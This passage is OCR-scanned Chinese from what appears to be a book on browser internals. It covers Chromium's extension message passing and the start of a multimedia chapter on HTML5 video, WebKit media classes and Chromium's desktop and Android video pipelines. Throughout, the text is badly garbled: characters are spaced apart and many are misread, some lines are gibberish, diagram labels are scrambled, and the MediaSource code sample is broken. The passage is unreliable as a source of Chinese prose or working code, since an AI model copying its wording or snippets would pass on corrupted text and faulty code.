ExtensionFunctionDispatcher : 将 请 求 转换 成 对 ExtensionFunction 
a 因为 如 chrome.boomarks 这 样 的 接口 ， 包 含 多 个 函数 ， 这 里 
每 个 函数 对 应 于 一 个 ExtensionFunction 对 象 。 





e ExtensionFunction, AsyncExtensionFunction, 
BookmarksFunction#!| Bookmarks-GetFunction : 用 于 表示 接口 中 
的 函数 ， 而 BookmarksGetFunction 对 应 的 函数 


是 “chrome.bookmarks.get()”。 








下 面 来 看 看 Chromium 是 如 何 进 行 “chrome.*” 的 接口 初始 化 工作 ， 主 
要 是 Renderer 进 程 的 工作 的 。 


首先 当然 是 网 页 的 解释 工作 ， 在 创建 Document 对 象 的 时 候 ， 
WebKit 使 用 ScriptController 类 来 注入 Chromium 的 Extension 机 制 所 需要 的 
代码 ， 这 里 会 调用 类 Dispatcher， 该 类 此 时 创建 一 个 ModuleSystem 对 
象 ， 并 将 各 种 各 样 的 NativeHandler 对 象 注册 ， 这 里 的 NativeHandler 就 是 
各 种 各 样 的 “chrome.*” 的 接口 。 





然后 在 注册 这 个 NativeHandler 的 时 候 ， 每 个 该 类 的 对 象 表示 一 个 接 
口 ， 每 个 类 别 的 接口 创建 一 个 ObjectTemplate， 该 对 象 包含 一 个 
FunctionTemplate 对 象 ， 当 调用 该 接口 的 任何 函数 的 时 候 ， 耽 会 调用 
ObjectBackedNativeHandler 类 的 Router 函 数 。 


最 后 ， 在 注册 完 之 后 ， 完 成 网 页 演 染 的 工作 ， 当 执行 到 JavaScript 代 
码 调用 “chrome.*>” 接 口 的 时 候 ， 束 会 调用 Router 函 数 ， 之 后 就 使 用 消息 
传递 机 制 将 请 求 传 递 给 Browser 进 程 。 


10.4.3 JABAL Hl 


Chromium 的 扩展 机 制 的 一 个 重要 的 特性 是 使 用 消息 传递 机 制 来 提 
供 大 量 JavaScript 新 的 接口 ， 前 面 已 经 提 到 V8 引 擎 会 调用 Router 方 法 ， 这 





里 详细 解释 一 个 接口 中 的 函数 是 如 何 使 用 消息 传递 机 制 来 工作 的 。 


可 以 结合 图 10-18 和 图 10-19 来 理解 Extension 机 制 中 对 “chrome.*” 接 
口 的 函数 调用 过 程 ， 图 中 的 数字 (1、2、3) 表示 调用 顺序 ， 首 先是 
Renderer 进 程 中 的 “1” 过 程 ， 其 次 是 Browser 进 程 中 的 “2” 过 程 ， 最 后 是 
Renderer 进 程 中 的 “3? 过 程 ， 其 中 两 个 进程 都 是 通过 消息 传递 机 制 实现 ， 
这 里 消息 是 将 JavaScript 函 数 中 的 所 有 调用 转 成 字符 串 来 处 理 ， 也 就 是 当 
调用 某 个 接口 的 时 候 ， 首 先 在 Renderer 进 程 中 ，V8 的 引擎 将 使 用 接口 名 
来 得 找 NativeHandler， 使 用 字符 串 来 表示 调用 函数 名 ， 并 将 参数 序列 化 
成 JSON 格 式 的 字符 单传 递 给 Browser 进 程 ， 这 些 对 函数 的 调用 都 是 借助 
函数 名 和 JSON 字 符 串 ， 称 为 Extension 机 制 的 消息 传递 机 制 ， 如 图 10-18 


所 示 。 
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然后 是 图 10-19 中 的 “2 过程， 经 过 一 系列 的 处 理 之 后 ， 最 终 会 调用 
具体 的 函数 实现 类 ， 这 里 就 是 BookmarkGetTreeFunction， 读 取 JSON 字 
符 串 并 计算 得 出 结果 返回 给 Renderer 进 程 。 








最 后 就 是 图 10-18 中 的 “3” 过 程 ， 得 到 回复 结果 之 后 ， 最 后 需要 将 它 
们 传 入 V8 引擎 ， 这 里 就 是 使 用 ChromeV8Context， 它 包含 一 个 V8 引擎 运 
行 上 下 文 ， 使 用 该 上 下 文 将 结果 传 入 V8 引擎 














上 面 这 些 过 程 在 实际 的 实现 过 程 更 为 复杂 ， 这 里 省 略 了 中 间 过 程 中 
的 一 些 函 数 调用 ， 但 是 并 不 妨碍 读者 理解 。 经 过 上 面 这 三 个 过 程 ， 就 完 
成 了 一 次 对 “chrome.*” 接 口中 定义 的 函数 实现 的 调用 过 程 。 





本 章 介 绍 的 这 些 扩展 机 制 在 现代 浏览 右 中 仍然 发 挥 着 重要 的 作用 ， 
因为 扩展 能 力 和 文 持 Web 应 用 程序 的 需要 依然 人 存在。 相信 通过 这 些 介 
绍 ， 读 者 可 以 了 解 它 们 内 在 的 机 制 和 展现 出 来 的 能 力 ， 不 妨 进行 一 些 实 


现 上 的 尝试 。 








(人 ”为 了 避免 跟 通 用 的 “JavaScript 扩 展 机 制 ” 产 生 名 字 上 的 混淆 ， 后 面 一 律 称 为 Chromium 


Extension Lif 


(2) 一 个 网 络 应 用 商店 ， 里 面包 含 了 各 种 HTML5 应 用 程序 或 者 Chromium Extension 应 用 实现 








— 











第 11 草 ”多 媒体 


说 到 浏览 絮 对 多 媒体 的 支持 ， 不 得 不 所 的 就 是 Flash 插 件 和 HTML5 
之 和 争 。Flash 对 Web 的 及 展 起 了 非常 重要 的 作用 ， 它 能 够 文 持 视 频 、 首 
频 、 动 画 等 多 媒体 功能 ， 虽 然 现 在 大 家 都 在 讨论 web 前 端 领域 是 否 应 该 
丢弃 Flash 插 件 转 而 支持 HIML5。 在 本 章 中 ， 笔 者 将 回顾 Web 前 端 中 的 
多 媒体 发 展 历程 ， 然 后 详解 现在 HIML5 中 引入 的 多 媒体 技术 。 从 整体 
ERA, RON BE MOIR AI Bes 从 没有 原生 文 持 和 仅 是 第 三 方 
插件 文 持 ， 到 简单 的 音 视 频 播 放 ， 从 音频 播放 再 到 使 用 WebAudio 技 术 
来 处 理 音频 ， 最 后 再 到 网 络 实时 视频 会 议 ，Web 和 被 引入 了 极其 强大 的 能 
力 ， 前 所 未 有 。 我 们 有 理由 相信 ， 这 绝对 不 是 终点 。 








11.1 _ HTML5 的 多 媒体 支持 


在 HTML5 规 范 出 来 之 前 ， 网 页 对 视频 和 音频 播放 的 支持 基本 上 都 
是 依靠 (Flash) 插件 来 实现 ， 因 为 HTML 语 言及 相关 规范 并 没有 定义 视 
频 和 音频 方面 的 功能 。 在 HIML5 之 后 ， 这 种 情况 发 生 了 很 大 的 变化 ， 
同文 字 和 图 片 一 样 ， 音 频 和 视频 直接 成 为 HTML 一 系列 规范 中 第 一 等 公 
民 ， 千 万 不 要 小 看 第 一 等 公民 的 地 位 ， 这 不 仅仅 说 明了 网 页 中 可 以 直接 
支持 多 媒体 的 播放 ， 而 且 还 有 很 多 额外 的 优点 。 














首先 是 JavaScript 接 口 的 文 持 ， 开 发 者 可 以 使 用 JavaScript 接 口 来 方 
便 地 控制 音 视频 的 播放 ， 实 现 例 如 播放 、 停 止 和 记录 等 功能 。 


其 次 是 HTML5 支 持 音 视频 的 真正 强大 之 处 一 一 多 媒体 (如 视频 ) 
与 图 片 一 样 可 以 用 其 他 技术 来 进行 操作 ， 例 如 使 用 CSS 技 术 来 修改 它 的 
样式 〈 如 3D 变 形 ) 。Web 开 发 者 可 以 将 视频 同 Canvas2D 或 者 WebGL 结 
合 在 一 起 ， 而 之 前 Flash 插 件 中 的 视频 是 不 能 (或 者 轻易 ) 做 到 的 。 回 顾 
第 二 章 的 示例 代码 2-2 中 ，“video” 元 素 同 “canvas” 元 素 一 样 被 设置 了 3D 
变形 属性 ， 图 2-4 束 是 它 的 显示 结果 。 


如 采访 者 觉得 HIML5 只 是 提供 了 音频 和 视频 的 播放 功能 ， 那 就 显 
然 低 估 了 它 的 能 力 ， 在 HTML5 中 ， 对 于 多 媒体 的 支持 大 概 包 括 以 下 几 


个 部 分 。 


第 一 个 是 HTML 的 元 素 “video”， 它 用 于 视频 (当然 也 包括 音频 ) 的 
播放 。 第 二 个 是 HTML 元 素 “audio"， 它 用 于 单纯 的 音频 播放 。 第 三 个 是 
可 以 将 多 个 声音 合成 处 理 的 WebAudio 技 术 。 第 四 个 则 是 将 照相 机 、 才 


ADRESM EP UIE (is 2 LOR BEF A cE AN WebRTC (网 络 
实时 通信 ) ， 这 一 HTML5 对 于 多 媒体 领域 的 重大 支持 ， 使 得 Web 领 域 
使 用 视频 对 话 和 视频 网 络 会 议 成 为 了 现实 。 





目前 各 个 浏览 器 对 于 HTML5 中 多 媒体 的 支持 正在 得 到 逐步 地 增 
强 ， 尤 其 是 对 HTML5 的 “video” 和 “audio” 元 素 的 支持 ， 这 一 趋势 在 移动 
操作 系统 上 体现 得 更 为 明显 。 因 为 很 多 移动 浏览 器 其 实 不 文 持 Flash 插 
件 ， 这 直接 导致 众多 视频 内 容 提 供 商 需要 将 视频 和 音频 改 为 采用 
HTML5 标 准 的 格式 才能 正常 提供 内 容 。 对 于 WebRTC 技 术 ， 基 于 对 规范 
的 文 持 目 前 走 在 前 面 的 是 Chrome 和 Firefox 浏 览 器 ， 笔 者 已 经 成 功 使 用 了 
Chrome 和 Firefox 来 进行 网 络 视频 对 话 ， 这 的 确 是 一 项 不 可 思议 的 新 技 
术 。 一 个 完整 的 多 媒体 解决 方案 ， 通 党 需要 WebKit 和 Chromium 两 个 项 
目 共 同 努 力 ， 一 起 解决 相关 问题 ， 从 总 体 上 看 ， 其 大 人 臻 有 四 个 部 分 。 











第 一 部 分 当然 是 webKit 的 基础 部 分 ， 包 括 对 规范 的 支持 ， 这 其 中 有 
DOM 树 、RenderObject 树 和 RenderLayer 树 等 对 多 媒体 方面 的 文 持 。 





第 二 部 分 是 Chromium 的 桥接 部 分 ， 也 就 是 将 WebKit 的 接口 桥接 到 
H 


Chromium 项 目 中 来 ， 包 括 接口 的 桥接 、 演 染 方面 的 桥接 等 。 


第 三 部 分 是 依赖 其 他 多 媒体 库 ， 包 括 fftmpeg、libjingle 等 第 三 方 项 
目 ， 使 用 它们 来 做 多 媒体 方面 的 处 理 。 


第 四 部 分 是 Chromium 对 多 媒体 资源 获取 和 使 用 多 媒体 库 来 帮助 解 
码 等 管线 化 过 程 的 具体 实现 。Chromium 重 新 实现 了 整个 媒体 播放 流 
程 ， 并 针对 加 面 系 统 和 移动 系统 采用 了 一 些 特殊 的 技术 和 解决 方法 。 


下 面 依 次 来 看 HTML5 规 范 定 义 的 多 媒体 技术 ， 以 及 WebKit 和 
Chromium 为 HTIML5 多 媒体 方面 的 技术 做 了 哪些 文 持 工 作 ， 也 就 是 上 面 


这 些 部 分 如 何 运作 的 。 


11.2 ”视频 
11.2.1 HTML5 视 频 


在 HTML5 规 范 定义 中 ，Web 开 发 者 可 以 使 用 “video” 元 素来 播放 视 
频 资源 。 视 频 中 有 个 重要 的 问题 就 是 视频 编码 格式 ， 对 此 ， 目 前 标准 中 
包含 了 三 种 编码 格式 ， 它 们 分 别 是 Ogg、MPEG4 和 WebM。 其 中 Ogg 是 
由 Xiph.org 组 织 开发 的 一 个 开放 标准 ， 不 需要 任何 授权 费用 ， 它 使 用 
Theora 作 为 视频 编码 格式 和 Vorbis 作 为 首 频 编码 格式 。MPEG4 是 MPEG 
工作 组 开发 的 需要 授权 费用 的 标准 ， 它 使 用 H.264 作 为 视频 编码 格式 和 
AAC 作 为 音频 编码 格式 。 而 WebM 是 由 Google 研 发 的 标准 ， 它 也 是 完 
免费 自由 使 用 的 ， 使 用 VP8 作 为 视频 编码 格式 和 Vorbis 作 为 音频 编码 格 
式 。 表 11-1 说 明 4 个 主流 浏览 器 是 否 支 持 这 三 种 标准 的 情况 。 








表 11-1 主流 浏览 器 对 HTML5 中 三 个 视频 格式 的 支持 
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从 图 中 可 以 看 到 ， 除 了 Chrome 浏 览 嚣 支持 所 有 的 三 种 标准 之 外 ， 
其 他 浏览 锅 可 能 只 是 文 持 其 中 的 一 种 或 者 两 种 ， 这 对 网 页 的 开发 者 造成 
了 困扰 。 到 底 如 何 编写 代码 才能 让 视频 在 这 些 浏 览 器 上 都 能 工作 呢 ? 示 
例 代 码 11-1 是 一 种 很 好 的 解决 方法 ， 前 提 是 前 端 开发 者 需要 了 解 三 种 格 
式 的 视频 文件 。 








示例 代码 11-1 使 用 “video” 元 素 的 HTML5 代 码 片段 


<video width="800" height="600" controls="controls"> 
<source src="video.webm" type="video/webm"> 
<source src="video.mp4" type="video/mp4"> 
<source src="video.ogg" type="video/ogg"> 
Your browser does not support the video tag. 


</video> 
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HTML5 提 供 了 一 些 属性 让 开发 者 来 使 用 JavaScript 代 码 检 查 和 操作 
视频 。HTML5 在 “video” 和 “audio” 元 素 之 间 抽 和 象 了 一 个 基 类 元 素 ， 也 就 
是 “media” 元 素 ， 结 合 它 提供 的 能 力 ， 大 致 有 以 下 几 个 方面 的 JavaScript 
编程 接口 。 











首先 是 资源 加 载 和 信息 方面 的 接口 ， 开 发 者 可 以 通过 特定 接口 检查 
浏览 器 支持 什么 格式 ， 如 Metadata 和 海报 (Poster) 等 。 其 次 是 缓冲 
(Buffering〉 人 处理， 包括 缓冲 区 域 、 进 度 等 信息 。 然 后 是 播放 方面 的 状 
态 ， 包 括 播 放 、 暂 停 、 终 止 等 。 再 次 是 搜寻 (Seeking) 方面 的 信息 ， 
包括 设置 当前 时 间 、“Timeupdate” 事 件 ， 以 及 两 个 状 
态 “Seeking” 和 “seeked”。 最 后 是 首 量 方面 的 设置 ， 包 括 获取 和 设置 音 
量 、 静 音 和 音量 变换 等 事件 。 








11.2.2 ”WebKit 基 础 设施 


WebKit 提 供 了 支持 多 媒体 规范 的 基础 框架 ， 如 音 视频 元 素 、 
JavaScript 接 口 和 视频 播放 等 。 根 据 WebKit 的 一 般 设 计 思 想 ， 它 主要 是 
提供 标准 的 实现 框架 ， 而 具体 的 实现 由 各 个 移植 来 完成 ， 因 为 音 视频 需 
要 平台 的 文 持 。 图 11-1 是 WebKit 为 了 达到 这 一 目标 而 设计 的 各 个 类 和 它 
们 之 间 的 关系 ， 也 包括 了 Chromium 移 植 的 几 个 基础 类 ， 关 系 比较 复 
杂 ， 下 面 按 功能 来 分 析 它 们 。 


























+mediaPlayerTimeChanged() 
+mediaPlayerRepaint() I< ---------4 MediaPlayer <> 


<<use>> +load() 
A +play() 


HIMLMediaEement | 777777777777 > 
+createMediaPlayer() 











MediaPlayerClient 一 | 























RenderMedia 
+paintReplaced() 








WebMediaPlayerClientimpl 
-m_webMediaPlayer 
` 
i Q N 
` 
WebMediaPlay WebMediaPlayer gi 
erClient ‘ 
` 
i; E S 
Pr 








HTMLVideoElement 
+posterlmageURL() 





RenderLayer 




















<<uge>> 
| 


RenderVideo 
+requireLayer() 


GraphicsLayer 

















图 11-1 WebKit 支 持 视频 的 基础 类 和 关系 


首先 WebKit 是 文 持 规范 定义 的 编程 接口 ， 网 11-1 中 左 侧 的 
HTMLMediaElement 和 HTMLYVideo-Element 类 是 DOM 树 中 的 节点 类 ， 分 
别 对 应 于 W3C 标 准 中 的 定义 ， 包 含 众 多 DOM 接 口 ， 这 些 接 口 可 以 被 
JavaScript 代 码 访问 。 


其 次 是 MediaPlayer 和 MediaPlayerClient 两 个 类 ， 它 们 的 作用 非常 明 
显 。MediaPlayer 类 是 一 个 公共 标准 类 ， 被 HTMLMediaElement 类 使 用 来 
播放 音频 和 视频 ， 它 本 喘 只 是 提供 抽象 接口 ， 有 具体 实现 依赖 于 不 同 的 
WebKit 移 植 。 同 时 ， 一 些 播放 需 中 的 状态 信息 需要 通知 到 
HTMLMediaElement 类 ， 这 里 使 用 MediaPlayerClient 类 来 定义 这 些 有 关 
状态 信息 的 接口 ，HIMLMediaElement 类 需要 继承 MediaPlayerClient 类 
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JavaScript 代 码 中 ， 而 这 一 实现 就 在 HTMLMediaElement 类 完成 。 





然后 是 不 同 移植 对 MediaPlayer 类 的 实现 ， 其 中 包括 
MediaPlayerPrivateInterface 类 和 WebMediaPlayerClientImpl 类 。 前 者 是 除 
了 Chromium 移 植 之 外 使 用 的 标准 接口 ， 也 是 一 个 抽象 接口 ， 由 不 同 移 
植 来 实现 。 后 者 是 Chromium 移 植 的 实现 类 。 为 什么 会 这 样 ? 因为 
Chromium 将 WebKit 复 制 出 Blink 之 后 就 将 MediaPlayerPrivateInterface 类 
直接 移 除 了 ， 而 在 MediaPlayer 类 中 直接 调用 它 。 
WebMediaPlayerClientImpl 类 会 使 用 Chromium 移 植 自己 定义 的 
WebMediaPlayer 接 口 类 来 作为 实际 的 播放 器 ， 而 真正 的 播放 器 则 是 在 
Chromium 项 目的 代码 中 来 实现 的 。 








最 后 是 同 泻 染 有 关 的 部 分 ， 这 里 面 就 是 之 前 介绍 的 RenderObject 树 
和 RenderLayer 树 ， 图 中 的 RenderMedia 类 和 RenderVideo 类 是 
RenderObject 的 子 类 ， 用 于 表示 Media 节 点 和 Video 节 点 。 图 中 并 没有 关 
于 将 MediaPlayer 类 解码 和 泻 染 结合 起 来 这 一 部 分 的 说 明 ， 这 在 
Chromium 实 现 中 会 介绍 到 。 








图 11-1 中 关于 资源 获取 的 部 分 也 没有 绘制 出 来 ， 本 质 上 来 讲 ， 同 其 
他 资源 一 样 ， 这 里 仍然 使 用 ResourceDispatcher 类 来 请 求 资源 ， 但 是 在 资 
源 的 缓冲 上 Chromium 有 特殊 之 处 ， 这 些 后 面 介绍 。 


图 11-1 是 采用 硬件 加 速 机 制 的 视频 播放 所 使 用 的 类 ， 对 于 具体 过 程 
将 在 稍 后 介绍 。 当 然 ，WebKit 也 支持 使 用 软件 演 染 方式 来 播放 视频 ， 实 
际 比 硬 件 加 速 方式 要 简单 一 些 。 根 据 之 前 章 市 的 描述 ，WebKit 采 用 软件 
演 染 方式 不 需要 使 用 RenderLayer 类 、GraphicsLayer 类 等 ， 当 需要 绘制 的 
时 候 ， 由 RenderVideo 类 使 用 HTMLMediaElement 类 获取 MediaPlayer 对 








象 ， 调 用 它 的 paint 方 法 来 让 MediaPlayer 对 象 将 解码 后 的 图 像 绘制 在 当前 
的 2D 图 形 上 下 文 接口 中 ， 具 体 软 件 泻 染 过 程 前 面 介绍 过 ， 比 较 容易 理 
fi, AN FREER 


11.2.3 Chromium 视频 机 制 | 
11.2.3.1 资源 获取 

因为 视频 资源 相对 其 他 资源 而 言 ， 一 般 比 较 大 ， 当 用 户 播放 视频 的 
时 候 ， 需 要 连续 性 播放 以 获得 较 好 的 体验 ， 但 是 网 络 可 能 并 不 是 一 直 都 


稳定 和 高 速 ， 所 以 资源 的 获取 对 用 户 体验 很 重要 ， 需 要 使 用 缓存 机 制 或 
者 其 他 机 制 来 预先 获取 视频 资源 。 





图 11-2 是 Chromium 中 的 缓存 资源 类 。BufferedDataSource 类 表示 资 
源 数 据 ， 它 是 一 个 简单 的 数据 表示 类 ， 内 部 包含 一 个 较 小 的 内 存 空间 
(32K) ， 实 际 的 缓冲 机 制 由 BufferedResourceLoader 类 完成 ， 前 面 章节 
介绍 了 资源 的 加 载 机 制 ，BufferedResourceLoader 类 也 是 使 用 该 机 制 来 获 
取 数 据 ， 只 是 它 会 使 用 一 定 的 内 存 空间 来 保存 这 些 视 频数 据 。 在 
Chromium 的 设置 中 ， 最 小 的 绥 存 空间 是 2M 内 存 ， 最 大 的 缓存 空间 是 
20M 内 存 ， 并 没有 使 用 磁盘 来 缓存 视频 资源 。 





WebKit::WebURLLoaderCl 











/\ 
BufferedResourceLoader BufferedDataSource WebMediaPlayerlmpl 
-buffer_ <> -data_source_ 


+didReceiveData() -intermediate_read_buffer_ 
media::SeekableBuffer 


图 11-2 ”Chromium 的 视频 资源 缓存 类 





上 面 这 些 都 是 浏览 器 为 视频 或 者 音频 所 做 的 工作 ， 看 起 来 一 切 都 与 
网 页 开发 者 无 关 ， 真 是 这 样 的 吗 ? 当 然 不 是 ，W3C 组 织 提供 了 Media 
Source 规 范 ， 开 发 者 可 以 使 用 Media ”Source 接 口 来 进行 音 视频 数据 流 的 
缓冲 ， 这 样 可 以 按照 实际 需求 来 处 理 数据 。 还 是 来 看 一 个 JavaScript 代 码 
的 例子 ， 如 示例 代码 11-2 所 示 。 





示例 代码 11-2 一 个 使 用 MediaSource 接 口 的 代码 片段 


var mediaSource = new MediaSource(); 
var avideo = document.querySelector('avideo' ); 
avideo.src = window.URL.createObjectURL(mediaSource) ; 
mediaSource.addEventListener('sourceopen', function(e) { 
var sourceBuffer = 
mediaSource.addSourceBuffer('video/webm; codecs="vorbis 
sourceBuffer .append(aChunk ) ; 


}, false); 


这 段 代 码 的 基本 思想 是 ，Web 开 发 者 使 用 “video” 元 素 的 “src” 属 性 设 
置 目 定义 的 数据 流 。 不 同 于 传统 文件 等 数据 流 方式 ， 示 例 代 人 码 11-2 使 用 


MediaSource 对 象 来 创建 一 个 URL 对 象 ， 然 后 往 对 象 中 不 断 地 加 入 音 视 
频数 据 。 结 合 前 面 关 于 播放 控制 的 JavaScript 接 口 和 事件 ， 开 发 者 可 以 将 
数据 流 同 多 媒体 播放 器 播放 进度 很 好 地 结合 起 来 ， 从 而 达到 根据 实际 需 
求 来 实现 上 自 适应 的 数据 流 的 目的 。 








11.2.3.2 ”基础 设施 


前 面 介绍 了 WebKit 中 支持 规范 的 相关 类 等 基础 设施 ， 这 里 介绍 
Chromium 中 支持 人 硬件 加 速 机 制 的 视频 播放 所 需 的 基础 设施 。 图 11-3 是 一 
个 总 体 架 构图 ， 基 于 Chromium 的 多 进程 结构 。 


Chromium 的 媒体 播放 器 实现 


WebKit 基础 设施 





图 11-3 Chromium 多 进程 结构 的 媒体 播放 器 设施 


根据 多 进程 架构 的 设计 原则 ，Chromium 的 媒体 播放 器 的 实现 应 该 
在 Renderer 进 程 ， 而 对 于 资源 的 获取 则 是 在 Browser 进 程 。 当 然 ， 前 面 介 
绍 的 WebKit 基 础 设施 需要 每 个 移植 的 具体 实现 ， 所 以 ，WebKit 的 
Chromium 移 植 部 分 提供 了 桥接 接口 ， 并 且 实 现 则 是 在 Chromium 代 码 中 
来 完成 的 。Chromium 文 持 媒 体 播 放 器 的 具体 实现 相当 复杂 ， 而 且 涉及 
到 不 同 的 操作 系统 ， 目 前 Chromium 在 不 同 操作 系统 上 实现 的 媒体 播放 
器 也 不 一 样 。 首 先 看 一 看 Chromium 基 础 类 ， 为 了 方便 理解 这 些 类 和 图 
11-1 中 类 之 间 的 关系 ， 图 11-4 标 注 了 一 些 WebKit 中 同 Chromium 直 接 相 关 
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图 11-4 Chromium 支持 视频 的 基础 类 和 关系 





图 11-4 的 上 半 部 分 是 WebKit 和 WebKit 的 Chromium 移 植 中 的 相关 
类 ， 它 们 同样 出 现在 图 11-1 中 ， 而 下 半 部 分 是 Chromium 中 使 用 硬件 加 速 
机 制 来 实现 视频 播放 的 基础 设施 类 。 而 从 左右 分 开 来 看 ， 左 边 部 分 是 播 
放 器 的 具体 实现 类 ， 右 边 部 分 则 是 文 持 视频 在 合成 器 中 工作 的 相关 类 。 





首先 看 一 看 这 些 类 和 对 象 的 创建 过 程 。WebMediaPlayerClientImpl 
类 是 WebKit 在 创建 HTMLMediaElement 对 象 之 后 创建 MediaPlayer 对 象 的 
时 候 ， 由 MediaPlayer 对 象 来 创建 的 。 当 视频 资源 开始 加 载 时 ，WebKit 
创建 一 个 WebMediaPlayer 对 象 ， 当 然 束 是 Chromium 中 的 具体 实现 类 
WebMediaPlayerImpl 对 象 ， 同 时 WebMediaPlayerClientImpl 类 也 实现 了 
WebMediaPlayerClient 类 ， 所 以 WebMediaPlayerImpl 在 播放 视频 的 过 程 
中 需要 疝 该 WebMediaPlayerClient 类 更 新 各 种 状态 ， 这 些 状 态 信 息 最 终 
会 传递 到 HTMLMediaFElement 类 中 ， 最 终 可 能 成 为 JavaScript 事 件 ， 如 前 








面 介 绍 播放 进度 事件 等 。 之 后 ，WebMediaPlayerImpl 对 象 会 创建 一 个 
WebLayerImpl 对 象 ， 还 会 同时 创建 VideoLayer 对 象 ， 根 据 合 成 器 的 设 
计 ，Chromium 还 有 一 个 LayerImpl 树 ， 在 同步 的 时 候 ，VideoLayer 对 象 
对 应 的 VideoLayerImpl 对 象 会 被 创建 。 之 后 Chromium 需 要 创建 
VideoFrameProviderClientImpl 对 象 ， 该 对 象 将 合成 器 的 Video 层 同 视 频 
播放 器 联系 起 来 并 将 合成 器 绘制 一 帧 的 请 求 转 给 提供 视频 内 容 的 
VideoFrameProvider 类 ， 这 实际 上 是 调用 Chromium 的 媒体 播放 器 
WebMediaPlayerImpl， 因 为 它 就 是 一 个 VideoFrameProvider 类 的 实现 子 


类 。 











然后 是 Chromium 如 何 使 用 这 些 类 来 生成 和 显示 每 一 帧 的 。 当 合成 
器 调用 每 一 层 来 绘制 下 一 帧 的 时 候 ， 
VideoFrameProviderClientImpl::AcquireLockAndCurrentFrame() 函 数 会 被 
调用 ， 然 后 该 函数 调用 WebMediaPlayerImpl 类 的 GetCurrentFrame 峭 数 返 
回 当 前 一 帧 的 数据 。VideoLayerImpl 类 根据 需要 会 将 这 一 帧 数据 上 传 

(或 者 是 拷贝 等 ) 到 GPU 的 纹理 对 象 中 。 当 绘制 完 这 一 帧 之 后 ， 

VideoLayerImpl 调 用 VideoFrame-ProviderClientImpl::PutCurrentFrame 来 
通知 播放 器 这 一 帧 已 绘制 完成 ， 并 释放 挥 相应 的 资源 。 同 时 ， 媒 体 播放 
器 也 可 以 通知 合成 器 有 一 些 新 帧 生成 ， 需 要 绘制 出 来 ， 它 会 首先 调用 播 
放 器 的 VideoFrameProvider::DidReceiveFrame() 函 数 ， 该 函数 用 来 检查 当 
前 有 没有 一 个 VideoLayerImpl 对 象 ， 如 果 有 对 象 存 在 ， 需 要 设置 它 的 
SetNeedsRedraw 标 记 人 位， 这样 ， 合 成 器 就 知道 需要 重新 生成 新 的 一 帧 。 








最 后 是 上 述 有 关 视 频 播放 对 象 的 销毁 过 程 。 有 多 种 情况 使 
Chromium 需 要 销毁 媒体 播放 器 和 相关 的 资源 ， 如 “video” 元 素 被 移 除 或 
者 设置 为 隐藏 等 ， 这 样 视频 元 素 对 应 的 各 种 层 对 象 ， 以 及 WebKit 和 
Chromium 中 的 这 些 设 施 就 会 被 销毁 。 








WebMediaPlayerImpl 类 是 多 媒体 播放 器 的 具体 实现 类 。 在 
Chromium 项 目 中 ， 随 着 工程 师 增 加 了 对 Android 系 统 〈 这 里 不 涉及 iOS 
系统 话题 ， 那 是 另外 的 故事 ) 的 文 持 ，Chromium 既 能 文 持 果 面 系统 也 
能 文 持 移动 系统 ， 而 这 两 者 对 视频 和 音频 的 文 持 很 不 一 样 ， 所 以 在 不 同 
系统 上 WebMediaPlayerImpl 是 如 何 实现 和 工作 的 ， 也 很 不 一 样 。 下 面 ， 
依次 了 解 桌 面 系统 和 Android 系 统 中 文 持 视频 播放 的 过 程 。 


11.2.3.3 ”桌面 系统 





在 果 面 系统 中 ，Chromium 使 用 了 一 僚 多 媒体 播放 框 染 ， 而 不 是 直 
接 使 用 系统 或 者 第 三 方 库 的 完整 解决 方案 。 图 11-5 是 Chromium 在 桌面 系 
统 中 采用 的 多 媒体 播放 引擎 的 工作 模块 和 过 程 ， 来 源 于 网 页 
http://www.chromium.org/developers/design-documents/video， 这 里 稍微 做 
了 些 修改 ， 这 一 框架 称 为 多 媒体 管线 化 引擎 ， 图 中 主要 的 模块 是 多 路 分 
配器 〈Demuxer) 、 首 视频 解码 器 、 首 视频 泻 染 器 。 这 些 部 分 主要 被 
WebMediaPlayerImpl 类 调用 。 


视频 资源 文件 BufferedDataSource 


视频 解码 如 多 路 分 配 需 音频 解码 器 


视频 泻 染 器 首 频 演 染 器 
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图 11-5 “Chromium 的 多 媒体 管线 化 引擎 





在 处 理 音 视频 的 管线 化 过 程 中 ， 需 要 解码 顺和 泻 染 器 来 分 别处 理 视 


频 和 音频 数据 。 它 们 均 采 用 一 种 叫做 * 拉 ?而 不 是 “ 推 ? 的 方式 进行 ， 也 就 
是 说 由 视频 或 者 首 频 泻 染 器 根据 声卡 或 者 时 钟 控 制 器 ， 按 需要 来 请 求解 
人 钼 器 解 伺 数据 ， 然 后 解码 器 和 演 染 器 又 同 前 请 求 “ 拉 ”数据 ， 直 到 请 求 从 
视频 资源 文件 读 入 数据 。 根 据 之 前 的 多 进程 染 构 和 Chromium 的 安全 机 
制 ， 整 个 管线 化 引擎 虽然 在 Renderer 进 程 中 ， 但 是 由 于 Renderer 进 程 不 
能 访问 声卡 ， 所 以 图 中 泻 染 器 需要 通过 IPC 将 数据 或 者 消 恩 同 Browser 进 
程 通信 ， 由 Browser 进 程 来 访问 声卡 。 




















虽然 FFmpeg 多 媒体 库 拥 有 上 述 管线 化 过 程 的 能 力 ， 但 是 其 实 
Chromium 并 不 是 将 其 作为 一 个 黑 盒 来 使 用 ， 而 是 分 别 使 用 FFmpeg 的 不 
同 模块 来 实现 自己 的 管线 化 引擎 ， 目 的 是 由 自身 来 控制 这 一 整个 过 程 。 








Chromium 使 用 并 行 FFEmpeg 解 码 技术 ， 也 就 是 说 FFmpeg 能 够 在 帧 这 
个 层面 上 并 行 解码 ， 当 然 这 不 是 针对 所 有 格式 的 视频 文件 ， 目 前 主要 人 针 
对 H.264 这 个 格式 的 视频 。 根 据 Chromium 官 方 的 实验 结果 ， 在 多 核 机 器 
上 ， 人 性 能 能 够 得 到 较 大 幅度 的 提升 。 








FFmpeg 多 媒体 库 只 是 在 果 面 系统 上 被 使 用 ， 而 在 Android 上 则 是 男 
外 一 种 情况 了 。 


11.2.3.4 ” Android 系统 


在 Android 系 统 上 ， 人 情况 变 得 很 不 一 样 ， 因 为 Chromium 使 用 的 是 
Android 系 统 所 提供 的 android.media.MediaPlayer 类 ， 也 就 是 使 用 系统 提 
供 的 音 视 频 的 演 染 框 如 。 在 减少 了 管线 化 引擎 市 来 复杂 性 的 同时 ， 
Chromium 却 额外 引入 了 一 些 复杂 性 ， 接 下 来 一 起 来 看 看 。 





Android 中 的 Chromium 彻 底 抛弃 了 FFmpeg， 直 接 使 用 系统 自 带 的 多 


媒体 功能 ， 因 而 ，Android 系 统 文 持 什 么 样 的 视频 和 音频 格式 ， 
